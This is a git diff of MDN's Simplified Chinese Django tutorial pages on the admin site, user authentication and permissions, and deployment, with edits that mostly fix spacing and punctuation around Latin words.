+创建基础项目时,自动完成所有将您的网站中的管理应用程序包含在内的配置文件(有关所需实际依赖关系的信息 (如有需要请看 Django docs here). 其结果是,你必须做你的模型添加到管理应用程序是 注册 他们。在本文末尾,我们将简要介绍如何进一步配置管理区域以更好地显示我们的模型数据。
注册模型后,我们将展示如何创建一个新的“超级用户”,登录到该网站,并创建一些书籍,作者,书籍实例和流派。这些将有助于测试我们将在下一个教程中开始创建的视图和模板。
注册模型
-首先,在目录应用程序(/locallibrary/catalog/admin.py)中打开 admin.py 。此时此刻它看起来像这样—注意它已经导入了django.contrib.admin:
+首先,在目录应用程序 (/locallibrary/catalog/admin.py) 中打开 admin.py 。此时此刻它看起来像这样—注意它已经导入了 django.contrib.admin:
from django.contrib import admin @@ -52,7 +52,7 @@-注册模型
admin.site.register(BookInstance)注意: 如果你接受创建模型以表示书籍的自然语言的挑战(see the models tutorial article), 导入并注册。+注意: 如果你接受创建模型以表示书籍的自然语言的挑战 (see the models tutorial article), 导入并注册。这是在网站上注册模型或多模型的简单方法,管理站点是高度可定制的,我们将进一步讨论注册模型的其他方式。
@@ -86,14 +86,14 @@登入并使用该网站
-注意: 在这里,我们希望你花费一点时间添加一些书,作者,类型(如: 幻想)到你的应用。确保每个作者和类型都包含几本不同的书籍(这会是你的列表和详细视图在文章系列中后期使用时更有趣)。
+注意: 在这里,我们希望你花费一点时间添加一些书,作者,类型(如:幻想)到你的应用。确保每个作者和类型都包含几本不同的书籍(这会是你的列表和详细视图在文章系列中后期使用时更有趣)。
我们完成添加书籍,在顶部标签中,点击 Home 链接将回到主管理页面。然后点击 Books 链接显示当前书籍的列表(或其他链接之一,以查看其他型号列表)。现在你已经添加了几本书,列表可能与下面的截图类似。显示每本书的标题;这是书模型 __str__() 方法返回的值,在上一文章中提到。
-从该列表中,您可以通过选中不需要的图书旁边的复选框来删除图书,从“ 操作”下拉列表中选择“ 删除”操作 ,然后按Go按钮。您也可以通过按下ADD BOOK按钮添加新书。
+从该列表中,您可以通过选中不需要的图书旁边的复选框来删除图书,从“操作”下拉列表中选择“删除”操作 ,然后按 Go 按钮。您也可以通过按下 ADD BOOK 按钮添加新书。
您可以通过在链接中选择其名称来编辑书籍。一本书的编辑页面如下所示,与“添加”页面几乎相同。主要的区别是页面标题(更改书)和添加 删除,历史和
@@ -101,13 +101,13 @@VIEW ON SITE
按钮(最后一个按钮出现,因为我们定义了get_absolute_url()
我们的模型中的 方法)。登入并使用该网站
现在回到主页(使用主页链接的导航痕迹),然后查看作者 和类型 列表 - 您应该已经有很多创建从添加新书,但可以自由添加一些更多。
-你不会有任何书籍实例,因为这些不是从图书创建的(虽然你可以从 BookInstance - 创建一个书 - 这是ForeignKey字段的性质)。返回主页,然后按关联的添加按钮显示下面的添加书实例屏幕。请注意,全球唯一的ID,可用于单独标识库中单书的副本。
+你不会有任何书籍实例,因为这些不是从图书创建的(虽然你可以从 BookInstance - 创建一个书 - 这是 ForeignKey 字段的性质)。返回主页,然后按关联的添加按钮显示下面的添加书实例屏幕。请注意,全球唯一的 ID,可用于单独标识库中单书的副本。
为你的书创建一些记录。将状态设置为可用于至少一些记录,并为其他记录贷款。如果状态 不可 用,则还设置未来到期日期。
-而已!您现在已经学会了如何 设置和使用管理站点。您还创建书的记录,BookInstance,Genre,和Author 我们就可以一次我们创造我们自己的观点和模板使用。
+而已!您现在已经学会了如何 设置和使用管理站点。您还创建书的记录,BookInstance,Genre,和 Author 我们就可以一次我们创造我们自己的观点和模板使用。
高级配置
@@ -122,7 +122,7 @@高级配置
你可以进一步自定义界面,使它更容易使用,你可以改进的一些想法:
-
-- 视图列表: +
- 视图列表:
- 添加每个记录显示的其他字段/信息
- 添加过滤器以根据日期或某些其他选择值(例如图书货款状态)选择列出哪些记录。
@@ -137,7 +137,7 @@高级配置
在本节中,我们将看一些改进本地图书馆界面的更改,其中包括添加更多信息Book和Author 模型列表,以及改进编辑视图的布局。我们不会改变 Language 和 Genre 模拟演示,因为它们只有一个字段,所以这样没有真正的好处。
+在本节中,我们将看一些改进本地图书馆界面的更改,其中包括添加更多信息 Book 和 Author 模型列表,以及改进编辑视图的布局。我们不会改变 Language 和 Genre 模拟演示,因为它们只有一个字段,所以这样没有真正的好处。
你可以 在The Django Admin site 中找到所以管理员网站自定义选项的完整参考。
@@ -145,7 +145,7 @@注册 一个 ModelAdmin 类
在管理界面去改变一个模型的展示方式,当你定义了 ModelAdmin 类(描述布局)和将其注册到模型中。
-让我们开始作者模型。打开 admin.py 在目录应用程序(/locallibrary/catalog/admin.py)。注释你的原始注册(前缀为#)在 Author 模型
+让我们开始作者模型。打开 admin.py 在目录应用程序 (/locallibrary/catalog/admin.py)。注释你的原始注册(前缀为#)在 Author 模型
# admin.site.register(Author)@@ -179,7 +179,7 @@注册 一个 ModelAdmin 类
pass -可以看到我们现在 的 类都是空的 (“pass”),所以管理操作并不会改变,我们现在对这些类进行扩展,以定义我们针对模型的管理行为。
+可以看到我们现在 的 类都是空的(“pass”),所以管理操作并不会改变,我们现在对这些类进行扩展,以定义我们针对模型的管理行为。
配置列表视图
@@ -195,19 +195,19 @@配置列表视图
-对于我们的Book模型,我们将另外显示author和genre。这author是一个ForeignKey字段(一对多)的关系,所以将由
+__str()__
相关记录的值表示。用BookAdmin下面的版本替换课程。对于我们的 Book 模型,我们将另外显示author和genre。这 author 是一个ForeignKey字段(一对多)的关系,所以将由
__str()__
相关记录的值表示。用BookAdmin下面的版本替换课程。class BookAdmin(admin.ModelAdmin): list_display = ('title', 'author', 'display_genre')-不幸的是,我们不能直接指定 list_display 中的 genre 字段, 因为它是一个ManyToManyField (Django可以防止这种情况,因为在这样做时会有大量的数据库访问“成本”)。相反,我们将定义一个
+display_genre
函数来获取信息作为一个字符串(这是我们上面调用的函数;下面我们将定义它)。不幸的是,我们不能直接指定 list_display 中的 genre 字段,因为它是一个ManyToManyField (Django 可以防止这种情况,因为在这样做时会有大量的数据库访问“成本”)。相反,我们将定义一个
display_genre
函数来获取信息作为一个字符串(这是我们上面调用的函数;下面我们将定义它)。--注意:在genre这里获取可能不是一个好主意,因为数据库操作的“成本”。我们向您展示了如何在模型中调用函数的其他原因非常有用 - 例如在列表中的每个项目旁边添加一个“ 删除”链接。
+注意:在genre这里获取可能不是一个好主意,因为数据库操作的“成本”。我们向您展示了如何在模型中调用函数的其他原因非常有用 - 例如在列表中的每个项目旁边添加一个“删除”链接。
将以下代码添加到Book模型(models.py)中。这将从 genre字段的前三个值(如果存在)创建一个字符串,并创建一个
+short_description
可以在此方法的管理站点中使用的字符串。将以下代码添加到 Book 模型(models.py)中。这将从 genre 字段的前三个值(如果存在)创建一个字符串,并创建一个
short_description
可以在此方法的管理站点中使用的字符串。def display_genre(self): """ @@ -221,10 +221,10 @@-配置列表视图
-该Genre模型(和Language模式,如果你定义一个)都有一个单一的领域,所以没有一点为他们创造更多的显示领域的附加模型。
+该 Genre 模型(和 Language 模式,如果你定义一个)都有一个单一的领域,所以没有一点为他们创造更多的显示领域的附加模型。
-注意:值得更新BookInstance模型列表,至少显示状态和预期的返回日期。我们已经补充说,作为本文末尾的挑战!
+注意:值得更新 BookInstance 模型列表,至少显示状态和预期的返回日期。我们已经补充说,作为本文末尾的挑战!
添加列表过滤器
@@ -244,7 +244,7 @@整理细节视图布局
默认情况下,详细视图按照其在模型中声明的顺序垂直排列所有字段。您可以更改声明的顺序,哪些字段显示(或排除),区段是否用于组织信息,字段是水平还是垂直显示,甚至是管理窗体中使用的编辑窗口小部件。
-注意:LocalLibrary模型比较简单,因此我们不需要更改布局; 不管怎样,我们会做一些改变,只是为了向你展示如何。
+注意:LocalLibrary 模型比较简单,因此我们不需要更改布局; 不管怎样,我们会做一些改变,只是为了向你展示如何。
控制哪些字段被显示和布局
@@ -285,7 +285,7 @@剖切细节视图
}), )每个部分都有自己的标题(或者None如果你不想要一个标题)和字典中的一个相关的元组 - 描述的格式很复杂,但是如果你看上面的代码片段,那么它们很容易理解。
+每个部分都有自己的标题(或者 None 如果你不想要一个标题)和字典中的一个相关的元组 - 描述的格式很复杂,但是如果你看上面的代码片段,那么它们很容易理解。
重新启动并导航到书籍实例视图; 表格应如下所示:
@@ -295,7 +295,7 @@关联记录的内联编辑
有时,可以同时添加关联记录是有意义的。例如,将书籍信息和有关您在同一详细信息页面上的特定副本的信息同时显示可能是有意义的。
-你可以通过声明 inlines, 类型 TabularInline (水平布局 ) or StackedInline (垂直布局 ,就像默认布局)这样做. 您可以通过在您的以下的粗体中添加以下行,将内容中的
+BookInstance
信息添加到我们的Book详细信息中BookAdmin
:你可以通过声明 inlines, 类型 TabularInline (水平布局 ) or StackedInline (垂直布局,就像默认布局) 这样做。您可以通过在您的以下的粗体中添加以下行,将内容中的
BookInstance
信息添加到我们的 Book 详细信息中BookAdmin
:class BooksInstanceInline(admin.TabularInline): model = BookInstance @@ -313,15 +313,15 @@关联记录的内联编辑
在这种情况下,我们所做的就是声明我们的
tablular
内联类,它只是从内联模型添加所有字段。您可以为布局指定各种附加信息,包括要显示的字段,其顺序,是否只读等。(有关详细信息,请参阅 TabularInline ).-注意:这个功能有一些痛苦的限制!在上面的屏幕截图中,我们有三个现有的书籍实例,其次是新的书籍实例的三个占位符(看起来非常相似!)。默认情况下没有备用书实例会更好,只需使用“ 添加另一个书”实例链接添加它们,或者可以
+BookInstance
从这里列出作为不可读的链接。第一个选项可以通过extra
在BookInstanceInline
模型中将属性设置为0 来完成,自己尝试一下。注意:这个功能有一些痛苦的限制!在上面的屏幕截图中,我们有三个现有的书籍实例,其次是新的书籍实例的三个占位符(看起来非常相似!)。默认情况下没有备用书实例会更好,只需使用“添加另一个书”实例链接添加它们,或者可以
BookInstance
从这里列出作为不可读的链接。第一个选项可以通过extra
在BookInstanceInline
模型中将属性设置为 0 来完成,自己尝试一下。挑战自己
我们在本节学到了很多东西,所以现在是时候尝试一些事情了。
-1. 对于
+BookInstance
列表视图,添加代码以显示书籍,状态,到期日期和ID(而不是默认__str__()
文本)。
- 2. 添加的在线上市Book项目的Author使用,因为我们做了同样的做法详细视图Book/ BookInstance。
1. 对于
BookInstance
列表视图,添加代码以显示书籍,状态,到期日期和 ID(而不是默认__str__()
文本)。
+ 2. 添加的在线上市 Book 项目的 Author 使用,因为我们做了同样的做法详细视图Book/ BookInstance。
概要
diff --git a/files/zh-cn/learn/server-side/django/authentication/index.html b/files/zh-cn/learn/server-side/django/authentication/index.html index fddcbdce25d70a..fdb575c628bf28 100644 --- a/files/zh-cn/learn/server-side/django/authentication/index.html +++ b/files/zh-cn/learn/server-side/django/authentication/index.html @@ -12,11 +12,11 @@
- 先决条件: +先决条件: 完成之前的所有教程主题,包括Django 教程 7:Sessions 框架。 - @@ -27,18 +27,18 @@目的: +目的: 了解如何设置和使用用户身份验证和权限。 概观
Django 提供了一个身份验证和授权(“权限”)系统,该系统构建在上一个教程中讨论的会话框架之上,允许您验证用户凭据,并定义每个用户可允许执行的操作。该框架包括用户
Users
和分组Groups
的内置模型(一次向多个用户应用权限的通用方法),用于登录用户的权限/标志,以指定用户是否可以执行任务,表单和视图,以及查看限制内容的工具。-注意: Django身份验证系统的目标非常通用,因此不提供其他Web身份验证系统中,所提供的某些功能。某些常见问题的解决方案,可作为第三方软件包提供。例如,限制登录尝试,和针对第三方的身份验证(例如 OAuth)。
+注意: Django 身份验证系统的目标非常通用,因此不提供其他 Web 身份验证系统中,所提供的某些功能。某些常见问题的解决方案,可作为第三方软件包提供。例如,限制登录尝试,和针对第三方的身份验证(例如 OAuth)。
在本教程中,我们将向您展示,如何在LocalLibrary网站中,启用用户身份验证,创建您自己的登录和注销页面,为模型添加权限,以及控制对页面的访问。我们将使用身份验证/权限,来显示用户和图书馆员借用图书的列表。
-身份验证系统非常灵活,您可以根据需要,从头开始构建 URLs,表单,视图和模板,只需调用提供的API,即可登录用户。但是,在本文中,我们将在登录和注销页面,使用 Django 的“库存” 身份验证视图和表单。我们仍然需要创建一些模板,但这很简单。
+身份验证系统非常灵活,您可以根据需要,从头开始构建 URLs,表单,视图和模板,只需调用提供的 API,即可登录用户。但是,在本文中,我们将在登录和注销页面,使用 Django 的“库存”身份验证视图和表单。我们仍然需要创建一些模板,但这很简单。
我们还将向您展示如何创建权限,以及检查视图和模板中的登录状态和权限。
启用身份验证
-我们在创建框架网站时(在教程2中),自动启用了身份验证,因此您此时,无需再执行任何操作。
+我们在创建框架网站时(在教程 2 中),自动启用了身份验证,因此您此时,无需再执行任何操作。
注意: 当我们使用
@@ -81,14 +81,14 @@django-admin startproject
命令,以创建应用程序时,所有必要的配置都已完成。当我们第一次调用python manage.py migrate
时,创建了用户和模型权限的数据库表。创建用户和分组
下面,我们首先创建一个分组,然后创建一个用户。即使我们还没有为我们的图书馆成员添加任何权限,如果我们以后需要,将它们添加到分组中,要比单独添加到每个成员要容易得多。
-启动开发服务器,并到本地 Web 浏览器中的管理站点(http://127.0.0.1:8000/admin/)。使用超级用户帐户的凭据,登录该站点。 Admin 站点的最上级显示所有模型,按 “django application” 排序。在 “身份验证和授权” Authentication and Authorisation 部分 ,您可以单击用户 Users ,或分组 Groups 链接,以查看其现有记录。
+启动开发服务器,并到本地 Web 浏览器中的管理站点(http://127.0.0.1:8000/admin/)。使用超级用户帐户的凭据,登录该站点。Admin 站点的最上级显示所有模型,按“django application”排序。在“身份验证和授权” Authentication and Authorisation 部分,您可以单击用户 Users ,或分组 Groups 链接,以查看其现有记录。
首先,我们为图书馆成员,创建一个新的分组。
-
@@ -101,13 +101,13 @@- 单击“添加” Add 按钮(“分组” Group 旁边)以创建新的分组;在分组的名称 Name ,输入“Library Members”。
+- 单击“添加” Add 按钮(“分组”Group 旁边)以创建新的分组;在分组的名称 Name ,输入“Library Members”。
- 我们不需要该组的任何权限,因此只需按SAVE(您将进入分组列表)。
创建用户和分组
- 按 SAVE 创建用户。
-
管理站点将创建新用户,并立即转到 “更改用户” 屏幕,您可以在其中更改用户名(username),并添加用户模型的可选字段的信息。这些字段包括名字,姓氏,电子邮件地址,用户状态和权限(仅应设置活动标志 Active)。再往下,您可以指定用户的分组和权限,并查看与用户相关的重要日期(例如,他们的加入日期和上次登录日期)。
+管理站点将创建新用户,并立即转到“更改用户”屏幕,您可以在其中更改用户名(username),并添加用户模型的可选字段的信息。这些字段包括名字,姓氏,电子邮件地址,用户状态和权限(仅应设置活动标志 Active)。再往下,您可以指定用户的分组和权限,并查看与用户相关的重要日期(例如,他们的加入日期和上次登录日期)。
- 在“分组”(Groups)部分中,从“可用分组”(Available groups)列表中,选择“图书馆成员”分组 Library Member,然后点击这些框之间的右箭头,将其移动到“选择的分组”(Chosen groups)框中。
- 我们不需要在此处执行任何其他操作,因此只需再次选择 SAVE ,即可转到用户列表。
-就是这样!现在您有一个 “普通的图书馆成员” 帐户,您可以使用该帐户进行测试(一旦我们实现了页面,使他们能够登录)。
+就是这样!现在您有一个“普通的图书馆成员”帐户,您可以使用该帐户进行测试(一旦我们实现了页面,使他们能够登录)。
注意: 您应该尝试创建另一个图书馆用户。此外,为图书馆管理员创建一个分组,并添加一个用户!
@@ -115,7 +115,7 @@创建用户和分组
设置身份验证视图
-Django 提供了创建身份验证页面所需的几乎所有功能,让处理登录,注销和密码管理等工作,都能 “开箱即用”。这些相关功能包括了 url 映射器,视图和表单,但它不包括模板 - 我们必须创建自己的模板!
+Django 提供了创建身份验证页面所需的几乎所有功能,让处理登录,注销和密码管理等工作,都能“开箱即用”。这些相关功能包括了 url 映射器,视图和表单,但它不包括模板 - 我们必须创建自己的模板!
在本节中,我们将展示如何将默认系统,集成到 LocalLibrary 网站并创建模板。我们将它们放在主项目的 URL 当中。
@@ -124,7 +124,7 @@设置身份验证视图
-注意: 在这种情况下,我们可以合理地将认证页面(包括URL和模板)放在我们的目录应用程序中。但是,如果我们有多个应用程序,最好将这个共享登录行为分开,并让它在整个站点上可用,这就是我们在这里展示的内容!
+注意:在这种情况下,我们可以合理地将认证页面(包括 URL 和模板)放在我们的目录应用程序中。但是,如果我们有多个应用程序,最好将这个共享登录行为分开,并让它在整个站点上可用,这就是我们在这里展示的内容!
项目网址
@@ -140,10 +140,10 @@项目网址
] -打开 URL http://127.0.0.1:8000/accounts/ (注意前面的斜杠!),Django将显示一个错误,它无法找到此URL,并列出它尝试过的所有URL。从中您可以看到可以使用的URL,例如:
+打开 URL http://127.0.0.1:8000/accounts/ (注意前面的斜杠!),Django 将显示一个错误,它无法找到此 URL,并列出它尝试过的所有 URL。从中您可以看到可以使用的 URL,例如:
-注意: 使用上面的方法,添加以下带有方括号中的名称的 URL,可用于反转 URL 映射。您不必实现任何其他内容 - 上面的 url 映射,会自动映射下面提到的URL。
+注意:使用上面的方法,添加以下带有方括号中的名称的 URL,可用于反转 URL 映射。您不必实现任何其他内容 - 上面的 url 映射,会自动映射下面提到的 URL。
@@ -171,7 +171,7 @@-模板目录
对于此站点,我们将 HTML 页面,放在 templates/registration/ 目录中。此目录应该位于项目的根目录中,即与 catalog 和 locallibrary 文件夹相同的目录)。请立即创建这些文件夹。
--注意: 您的文件夹结构,现在应如下所示:
+注意: 您的文件夹结构,现在应如下所示:
locallibrary (django project folder)
|_catalog
|_locallibrary
@@ -179,7 +179,7 @@模板目录
|_registration要使这些目录对模板加载器可见(即将此目录放在模板搜索路径中),请打开项目设置(/locallibrary/locallibrary/settings.py),并更新
+TEMPLATES
部分的 “DIRS
” 那一行,如下所示。要使这些目录对模板加载器可见(即将此目录放在模板搜索路径中),请打开项目设置(/locallibrary/locallibrary/settings.py),并更新
TEMPLATES
部分的“DIRS
”那一行,如下所示。TEMPLATES = [ { @@ -195,7 +195,7 @@登录模板
重要说明: 本文提供的身份验证模板,是 Django 演示登录模板的基本/略微修改版本。您可能需要自定义它们,以供自己使用!
创建一个名为 /locallibrary/templates/registration/login.html 的新HTML文件。为它加入以下内容:
+创建一个名为 /locallibrary/templates/registration/login.html 的新 HTML 文件。为它加入以下内容:
{% extends "base_generic.html" %} @@ -243,7 +243,7 @@登录模板
-如果您尝试登录,将会成功,并且您将被重定向到另一个页面(默认情况下,这将是 http://127.0.0.1:8000/accounts/profile/)。这里的问题是,默认情况下,Django希望在登录后,你可能会被带到个人资料页面,这可能是,也可能不是。由于您还没有定义此页面,您将收到另一个错误!
+如果您尝试登录,将会成功,并且您将被重定向到另一个页面(默认情况下,这将是 http://127.0.0.1:8000/accounts/profile/)。这里的问题是,默认情况下,Django 希望在登录后,你可能会被带到个人资料页面,这可能是,也可能不是。由于您还没有定义此页面,您将收到另一个错误!
打开项目设置(/locallibrary/locallibrary/settings.py),并将下面的文本添加到底部。现在登录时,您应该默认重定向到站点主页。
@@ -371,7 +371,7 @@测试新的身份验证页面
- http://127.0.0.1:8000/accounts/logout/
-您将能够从登录页面中的链接,测试密码重置功能。请注意,Django只会向已存储在其数据库中的地址(用户)发送重置电子邮件!
+您将能够从登录页面中的链接,测试密码重置功能。请注意,Django 只会向已存储在其数据库中的地址(用户)发送重置电子邮件!
注意: 密码重置系统,要求您的网站支持电子邮件,这超出了本文的范围,因此该部分将无法使用。要测试此功能,请将以下一行放在 settings.py 文件的末尾。这会记录发送到命令行控制台的所有电子邮件(因此您可以从命令行控制台,复制密码重置链接)。
@@ -379,7 +379,7 @@测试新的身份验证页面
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'-有关更多信息,请参阅发送电子邮件(Django文档)。
+有关更多信息,请参阅发送电子邮件(Django 文档)。
测试已验证身份的用户
@@ -406,9 +406,9 @@在模板中测试
{% endif %} </ul> -如您所见,我们使用
+if
-else
-endif
模板标签,根据\{{ user.is_authenticated }}
是否为 true ,来有条件地显示文本。如果用户已通过身份验证,那么我们知道,我们拥有有效用户,因此我们会调用 \{{ user.get_username }} ,来显示其名称。如您所见,我们使用
-if
-else
-endif
模板标签,根据\{{ user.is_authenticated }}
是否为 true,来有条件地显示文本。如果用户已通过身份验证,那么我们知道,我们拥有有效用户,因此我们会调用 \{{ user.get_username }} ,来显示其名称。我们使用
+url
模板标记,和相应 URL 配置的名称,创建登录和登出链接 URL。另外请注意,我们如何将 “?next=\{{request.path}}
附加到URL的末尾。这样做,是将包含当前页面地址(URL)的URL参数,添加到链接URL的末尾。用户成功登录/登出后,视图将使用此“下一个”值,将用户重定向,回到他们首次单击登录/登出链接的页面。我们使用
url
模板标记,和相应 URL 配置的名称,创建登录和登出链接 URL。另外请注意,我们如何将“?next=\{{request.path}}
附加到 URL 的末尾。这样做,是将包含当前页面地址(URL)的 URL 参数,添加到链接 URL 的末尾。用户成功登录/登出后,视图将使用此“下一个”值,将用户重定向,回到他们首次单击登录/登出链接的页面。-注意: 试试吧!如果您在主页上,并单击侧栏中的“登录/登出”,在操作完成后,您应该返回到同一页面。
@@ -418,7 +418,7 @@在视图中测试
如果您正在使用基于函数的视图,则限制访问函数的最简单方法,是将
-login_required
装饰器,应用于您的视图函数,如下所示。如果用户已登录,则您的视图代码将正常执行。如果用户未登录,则会重定向到项目设置 (
+settings.LOGIN_URL
)中定义的登录URL,并将当前绝对路径,作为URL参数("下一个"next
)来传递。如果用户成功登录,则会返回到此页面,但这次会进行身份验证。如果用户未登录,则会重定向到项目设置(
settings.LOGIN_URL
)中定义的登录 URL,并将当前绝对路径,作为 URL 参数("下一个"next
)来传递。如果用户成功登录,则会返回到此页面,但这次会进行身份验证。from django.contrib.auth.decorators import login_required @@ -427,7 +427,7 @@在视图中测试
...-注意: 您可以通过
+request.user.is_authenticated
,测试手动执行类似的操作,但装饰器更方便!注意: 您可以通过
request.user.is_authenticated
,测试手动执行类似的操作,但装饰器更方便!同样,在基于类别的视图中,限制对登录用户的访问的最简单方法,是从
@@ -437,7 +437,7 @@LoginRequiredMixin
派生。您需要在主视图类之前的超类列表中,首先声明此 mixin。在视图中测试
class MyView(LoginRequiredMixin, View): ... -这与
+login_required
装饰器,具有完全相同的重定向行为。如果用户未经过身份验证(login_url
),还可以指定一个替代位置,以将用户重定向到该位置,并使用URL参数名称,而不是“next
”,来插入当前绝对路径(redirect_field_name
)。这与
login_required
装饰器,具有完全相同的重定向行为。如果用户未经过身份验证(login_url
),还可以指定一个替代位置,以将用户重定向到该位置,并使用 URL 参数名称,而不是“next
”,来插入当前绝对路径(redirect_field_name
)。class MyView(LoginRequiredMixin, View): login_url = '/login/' @@ -450,7 +450,7 @@示例 - 列出当前用户的书
现在我们知道,如何将页面限制为特定用户,让我们为当前用户借阅的书本,创建一个视图。
-不幸的是,我们还没有办法让用户借书!因此,在我们创建图书清单之前,我们首先会扩展
+BookInstance
模型,以支持借阅的概念,并使用Django Admin应用程序,借给测试用户一些书。不幸的是,我们还没有办法让用户借书!因此,在我们创建图书清单之前,我们首先会扩展
BookInstance
模型,以支持借阅的概念,并使用 Django Admin 应用程序,借给测试用户一些书。模型
@@ -477,7 +477,7 @@模型
return False-注意: 在进行比较之前,我们首先验证
+due_back
是否为空。空的due_back
字段,会导致Django抛出错误,而不是显示页面:空值不具有可比性。这不是我们希望用户体验到的东西!注意: 在进行比较之前,我们首先验证
due_back
是否为空。空的due_back
字段,会导致 Django 抛出错误,而不是显示页面:空值不具有可比性。这不是我们希望用户体验到的东西!现在我们已经更新了模型,我们需要对项目进行新的迁移,然后应用这些迁移:
@@ -488,7 +488,7 @@模型
管理员
-现在打开 catalog/admin.py,并将
+borrower
字段,添加到BookInstanceAdmin
类别中的list_display
和fieldsets
,如下所示。这将使该字段在Admin部分中可见,以便我们可以在需要时将User
分配给BookInstance
。现在打开 catalog/admin.py,并将
borrower
字段,添加到BookInstanceAdmin
类别中的list_display
和fieldsets
,如下所示。这将使该字段在 Admin 部分中可见,以便我们可以在需要时将User
分配给BookInstance
。@admin.register(BookInstance) class BookInstanceAdmin(admin.ModelAdmin): @@ -506,7 +506,7 @@管理员
借几本书
-现在可以将书本借给特定用户,然后借出一些
+BookInstance
记录。将他们的借用字段borrowed
,设置为您的测试用户,将状态status
设置为 “On loan”,并在将来和过去设置截止日期。现在可以将书本借给特定用户,然后借出一些
BookInstance
记录。将他们的借用字段borrowed
,设置为您的测试用户,将状态status
设置为“On loan”,并在将来和过去设置截止日期。-注意: 我们不会一步一步说明这个流程,因为您已经知道如何使用管理站点!
@@ -596,7 +596,7 @@它看起来是什么样子的?
权限 -权限与模型相关联,并定义可以由具有权限的用户,在模型实例上执行的操作。默认情况下,Django会自动为所有模型提供添加,更改和删除权限,这允许具有权限的用户,通过管理站点执行相关操作。您可以为模型定义自己的权限,并将其授予特定用户。您还可以更改与同一模型的不同实例关联的权限。
+权限与模型相关联,并定义可以由具有权限的用户,在模型实例上执行的操作。默认情况下,Django 会自动为所有模型提供添加,更改和删除权限,这允许具有权限的用户,通过管理站点执行相关操作。您可以为模型定义自己的权限,并将其授予特定用户。您还可以更改与同一模型的不同实例关联的权限。
对于视图和模板中的权限测试,非常类似于对身份验证状态的测试(实际上,测试权限也会测试身份验证)。
@@ -616,7 +616,7 @@模型
模板
-当前用户的权限,存在名为
+\{{ perms }}
的模板变量中。您可以使用关联的Django “app” 中的特定变量名,来检查当前用户是否具有特定权限 - 例如,如果用户具有此权限,则\{{ perms.catalog.can_mark_returned }}
将为True,否则为False。我们通常使用模板标记{% if %}
测试权限,如下所示:当前用户的权限,存在名为
\{{ perms }}
的模板变量中。您可以使用关联的 Django“app”中的特定变量名,来检查当前用户是否具有特定权限 - 例如,如果用户具有此权限,则\{{ perms.catalog.can_mark_returned }}
将为 True,否则为 False。我们通常使用模板标记{% if %}
测试权限,如下所示:{% if perms.catalog.can_mark_returned
%} <!-- We can mark a BookInstance as returned. --> @@ -673,13 +673,13 @@总结
做的太好了 — 你已经创造了一个网站,图书馆用户可以登入并检视他们拥有的内容,图书管理员(有正确的授权)可以检视所有借出的书本以及借阅者。目前,我们仍然只是查看内容,但是当您想要开始修改和添加数据时,会使用相同的原则和技术。
-在我们的下一篇文章,我们将介绍如何使用Django 表单,收集使用者输入,然后开始修改我们储存的一些资料。
+在我们的下一篇文章,我们将介绍如何使用 Django 表单,收集使用者输入,然后开始修改我们储存的一些资料。
也可以参考
-
@@ -692,7 +692,7 @@- Django中的用户授权 (Django 文档)
-- 使用 Django 授权系统(默认) (Django 文档)
+- Django 中的用户授权 (Django 文档)
+- 使用 Django 授权系统 (默认) (Django 文档)
- 介绍从基于类别的视图 > 到使用装饰器的基于类别的视图 (Django 文档)
本教程文档
@@ -59,12 +56,12 @@
- Django 介绍
- 架设 Django 开发环境
-- Django 教程: The Local Library website
+- Django 教程:The Local Library website
- Django 教程 2: Creating a skeleton website
- Django 教程 3: Using models
- Django 教程 4: Django admin site
diff --git a/files/zh-cn/learn/server-side/django/deployment/index.html b/files/zh-cn/learn/server-side/django/deployment/index.html index 8ff1584f33f3a5..9c2e98be3cc8d0 100644 --- a/files/zh-cn/learn/server-side/django/deployment/index.html +++ b/files/zh-cn/learn/server-side/django/deployment/index.html @@ -7,7 +7,7 @@{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}-现在,您已经创建(并测试)了一个令人敬畏的LocalLibrary网站,如果您希望将其安装在公共Web服务器上,以便图书馆工作人员和成员可以通过Internet访问它。本文概述了如何找到主机来部署您的网站,以及您需要做什么才能让您的网站准备好生产。
+现在,您已经创建(并测试)了一个令人敬畏的LocalLibrary网站,如果您希望将其安装在公共 Web 服务器上,以便图书馆工作人员和成员可以通过 Internet 访问它。本文概述了如何找到主机来部署您的网站,以及您需要做什么才能让您的网站准备好生产。
@@ -19,7 +19,7 @@
@@ -28,21 +28,18 @@目的: -了解您可以在何处以及如何将Django应用程序部署到生产环境。 +了解您可以在何处以及如何将 Django 应用程序部署到生产环境。 概述
一旦您的网站完成(或完成“足够”开始公开测试),您将需要将其托管在比您的个人开发计算机更公开和可访问的地方。
-到目前为止,您一直在开发环境中工作,使用Django开发Web服务器将您的站点共享到本地浏览器/网络,并使用暴露调试和其他私人信息的(不安全)开发设置运行您的网站。在您可以从外部托管网站之前,您首先必须:
- --
+到目前为止,您一直在开发环境中工作,使用 Django 开发 Web 服务器将您的站点共享到本地浏览器/网络,并使用暴露调试和其他私人信息的(不安全)开发设置运行您的网站。在您可以从外部托管网站之前,您首先必须:
-
-- 对你的项目设置(project settings)做一定的修改
-- 选择一个用来托管Django app的环境
+- 对你的项目设置 (project settings) 做一定的修改
+- 选择一个用来托管 Django app 的环境
- 选择一个用来托管所有静态文件的环境
- 设置一个产品级的设施来为你的网站服务
本教程为您选择托管站点提供了一些指导,简要概述了为了让您的Django应用程序可用于生产需要做什么以及如何将LocalLibrary网站安装到Heroku云托管上服务。
+本教程为您选择托管站点提供了一些指导,简要概述了为了让您的 Django 应用程序可用于生产需要做什么以及如何将 LocalLibrary 网站安装到Heroku云托管上服务。
-什么是生产环境?
+什么是生产环境?
生产环境是一个由服务器电脑提供的环境,你将在这里运行你的网站,为外部使用提供服务。生产环境包括:
@@ -50,7 +47,7 @@什么是生产环境?
- 网站运行所需要的电脑硬件
- 操作系统 (例如 Linux, Windows).
- 编程语言运行库和框架库,在其上编写您的网站。
-- 用于提供页面和其他内容的Web服务器(例如Nginx,Apache)。
+- 用于提供页面和其他内容的 Web 服务器(例如 Nginx,Apache)。
- 在 Django 网站和 Web 服务器之间,传递“动态”请求的应用程序服务器。
- 您的网站所依赖的数据库。
什么是生产环境?
注意: 根据您的生产配置方式,您可能还有反向代理,负载均衡器等。
服务器计算机可以位于您的场所,并通过快速链接连接到 Internet,但使用托管“在云中”的计算机更为常见。这实际上意味着,您的代码在托管公司的数据中心的某台远程计算机(或可能是“虚拟”计算机)上运行。远程服务器通常会以特定价格,提供一些保证级别的计算资源(例如CPU,RAM,存储器等)和互联网连接。
